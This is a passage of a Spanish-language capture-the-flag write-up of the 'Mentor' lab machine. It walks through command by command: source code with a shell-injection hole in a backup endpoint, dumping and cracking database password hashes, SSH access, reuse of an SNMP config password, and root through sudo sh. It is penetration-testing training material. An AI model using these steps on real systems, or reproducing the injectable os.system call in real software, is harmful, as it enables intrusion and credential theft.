@router.get('/', dependencies=[Depends(is_logged), Depends(is_admin)],include_in_schema=False)
async def admin_funcs():
    return {"admin_funcs":{"check db connection":"/check","backup the application": "/backup"}}

@router.get('/check',dependencies=[Depends(is_logged), Depends(is_admin)],include_in_schema=False)
async def check_connection():
    return {"details": "Not implemented yet!"}


# Take a backup of the application
@router.post("/backup",dependencies=[Depends(is_logged), Depends(is_admin)],include_in_schema=False)
async def backup(payload: backup):
    os.system(f'tar -c -f {str(payload.path)}/app_backkup.tar {str(WORK_DIR)} &')
    return {"INFO": "Done!"}

/app/app/api #

En users.py las rutas para obtener informacion de los usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from app.api import crud
from app.api.models import token, userDB, userSchema
from app.api.utils import is_admin, is_logged, is_a_user
from .utils import *
from fastapi import APIRouter, HTTPException, Header, Path, FastAPI, Depends, Request
from typing import List
import os

router = APIRouter()
SECRET =  os.getenv('SECRET')

# List users
@router.get('/',response_model=List[userDB], status_code=201, dependencies=[Depends(is_logged), Depends(is_admin)])
async def get_users(request: Request):

    return await crud.get_users()

# List user by id
@router.get('/{id}/',response_model=userDB, status_code=201, dependencies=[Depends(is_logged), Depends(is_admin)])
async def get_user_by_id(request: Request,id: int = Path(...,gt=0)):
    user = await crud.get_user(id)
    if not user:
        raise HTTPException(status_code=404, detail="user not found")
    return user

# Add a new user
@router.post("/add", response_model=userDB, status_code=201, dependencies=[Depends(is_logged), Depends(is_admin)])
async def create_user(payload: userSchema):
    user = await is_a_user(payload)
    if user is None:
        pass
    else:
        raise HTTPException(status_code=424, detail="User already exists! ")

    user_id = await crud.create_user(payload)

    res = {
        "id" : user_id,
        "email" : payload.email,
        "username" : payload.username
    }

    return res

En el directorio del usuario svc encontramos nuestra flag user.txt.

1
2
3
4
5
6
7
8
9
/app # cd /home
/home # ls
svc
/home # cd svc
/home/svc # ls
user.txt
/home/svc # cat user.txt
d57c5e2b32aa7f2d0bf85dca62da4c53
/home/svc #

User - svc

Postgresql

En el contenedor de docker esta instalada la libreria de sqlalchemy, utilizamos esta junto a las credenciales postgres que encontramos anteriormente para ejecutar queries en la base de datos mentorquotes_db.

1
2
3
4
5
6
7
8
# Queries
python -c 'from sqlalchemy import create_engine; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); result = engine.execute("<QUERY>"); a = [i for i in result]; print(a);'

# Tablas
python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_table_names(); print(t);'

# Columnas
python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_columns("users"); print(t);'

Enumeramos las tablas, encontramos tres.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/app/app/api # python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_table_names(); print(t);'
2023-03-04 01:11:50,290 INFO sqlalchemy.engine.Engine select pg_catalog.version()
2023-03-04 01:11:50,290 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:11:50,291 INFO sqlalchemy.engine.Engine select current_schema()
2023-03-04 01:11:50,291 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:11:50,292 INFO sqlalchemy.engine.Engine show standard_conforming_strings
2023-03-04 01:11:50,292 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:11:50,294 INFO sqlalchemy.engine.Engine SELECT c.relname FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname = %(schema)s AND c.relkind in ('r', 'p')
2023-03-04 01:11:50,294 INFO sqlalchemy.engine.Engine [generated in 0.00017s] {'schema': 'public'}
['users', 'quotes', 'cmd_exec']
/app/app/api #

Las columnas de la tabla users, las cuales son cuatro: id, email, username y password.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
/app/app/api # python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_columns("users"); print(t);'
2023-03-04 01:14:16,121 INFO sqlalchemy.engine.Engine select pg_catalog.version()
2023-03-04 01:14:16,121 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:14:16,122 INFO sqlalchemy.engine.Engine select current_schema()
2023-03-04 01:14:16,122 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:14:16,123 INFO sqlalchemy.engine.Engine show standard_conforming_strings
2023-03-04 01:14:16,123 INFO sqlalchemy.engine.Engine [raw sql] {}

[.. snip ..]

[{'name': 'id', 'type': INTEGER(), 'nullable': False, 'default': "nextval('users_id_seq'::regclass)", 'autoincrement': True, 'comment': None}, {'name': 'email', 'type': VARCHAR(length=50), 'nullable': True, 'default': None, 'autoincrement': False, 'comment': None}, {'name': 'username', 'type': VARCHAR(length=50), 'nullable': True, 'default': None, 'autoincrement': False, 'comment': None}, {'name': 'password', 'type': VARCHAR(length=128), 'nullable': False, 'default': None, 'autoincrement': False, 'comment': None}]
/app/app/api #

Obtuvimos los datos de la tabla users.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
/app/app/api # python -c 'from sqlalchemy import create_engine; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); result = engine.execute("select * from users;"); print(type(result)); a = [i for i in result]; print(a);'
2023-03-04 01:17:51,666 INFO sqlalchemy.engine.Engine select pg_catalog.version()
2023-03-04 01:17:51,666 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:17:51,667 INFO sqlalchemy.engine.Engine select current_schema()
2023-03-04 01:17:51,667 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:17:51,668 INFO sqlalchemy.engine.Engine show standard_conforming_strings
2023-03-04 01:17:51,668 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:17:51,669 INFO sqlalchemy.engine.Engine select * from users;
2023-03-04 01:17:51,669 INFO sqlalchemy.engine.Engine [raw sql] {}
<class 'sqlalchemy.engine.cursor.LegacyCursorResult'>
[(1, 'james@mentorquotes.htb', 'james', '7ccdcd8c05b59add9c198d492b36a503'), (2, 'svc@mentorquotes.htb', 'service_acc', '53f22d0dfa10dce7e29cd31f4f953fd8')]
/app/app/api #

crackstation nos muestra unicamente el hash de service_acc.

1
2
7ccdcd8c05b59add9c198d492b36a503
53f22d0dfa10dce7e29cd31f4f953fd8:123meunomeeivani

Shell

Utilizamos estas credenciales en el servicio SSH con el nombre de usuario svc. Logrando obtener acceso a la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
➜  mentor ssh svc@mentorquotes.htb # 123meunomeeivani
svc@mentorquotes.htb's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-56-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Jan  9 02:06:01 AM UTC 2023

  System load:                      0.0234375
  Usage of /:                       64.9% of 8.09GB
  Memory usage:                     15%
  Swap usage:                       0%
  Processes:                        259
  Users logged in:                  0
  IPv4 address for br-028c7a43f929: 172.20.0.1
  IPv4 address for br-24ddaa1f3b47: 172.19.0.1
  IPv4 address for br-3d63c18e314d: 172.21.0.1
  IPv4 address for br-7d5c72654da7: 172.22.0.1
  IPv4 address for br-a8a89c3bf6ff: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.193

  => There are 18 zombie processes.


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Dec 12 10:22:58 2022 from 10.10.14.40
svc@mentor:~$ whoami;id;pwd
svc
uid=1001(svc) gid=1001(svc) groups=1001(svc)
/home/svc
svc@mentor:~$

User - James

Enumerando los archivos de configuracion de snmp encontramos credenciales.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
svc@mentor:/etc/snmp$ ls
snmp.conf  snmpd.conf  snmpd.conf.d
svc@mentor:/etc/snmp$ cat snmpd.conf | grep -v "#"

sysLocation    Sitting on the Dock of the Bay
sysContact     Me <admin@mentorquotes.htb>

sysServices    72





master  agentx


agentAddress udp:161,udp6:[::1]:161




view   systemonly  included   .1.3.6.1.2.1.1
view   systemonly  included   .1.3.6.1.2.1.25.1



rocommunity  public default -V systemonly
rocommunity6 public default -V systemonly

rouser authPrivUser authpriv -V systemonly

includeDir /etc/snmp/snmpd.conf.d


createUser bootstrap MD5 SuperSecurePassword123__ DES
rouser bootstrap priv

com2sec AllUser default internal
group AllGroup v2c AllUser
view SystemView included .1.3.6.1.2.1.25.1.1
view AllView included .1
access AllGroup "" any noauth exact AllView none none
svc@mentor:/etc/snmp$

Utilizamos esta con el usuario james la cual funciono correctamente.

1
2
3
4
5
6
7
8
svc@mentor:/etc/snmp$ su james
Password:
james@mentor:/etc/snmp$ cd
james@mentor:~$ ls
james@mentor:~$ whoami;id
james
uid=1000(james) gid=1000(james) groups=1000(james)
james@mentor:~$

Privesc

Tras ejecutar sudo -l -l observamos que el usuario james puede ejecutar sh como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
james@mentor:~$ sudo -l -l
[sudo] password for james:
Matching Defaults entries for james on mentor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on mentor:

Sudoers entry:
    RunAsUsers: ALL
    Commands:
	/bin/sh
james@mentor:~$ sudo sh
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
# cd
# ls
logins.log  root.txt  scripts  snap
# cat root.txt
ed605945a5870ecc993bda7574b545b1
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe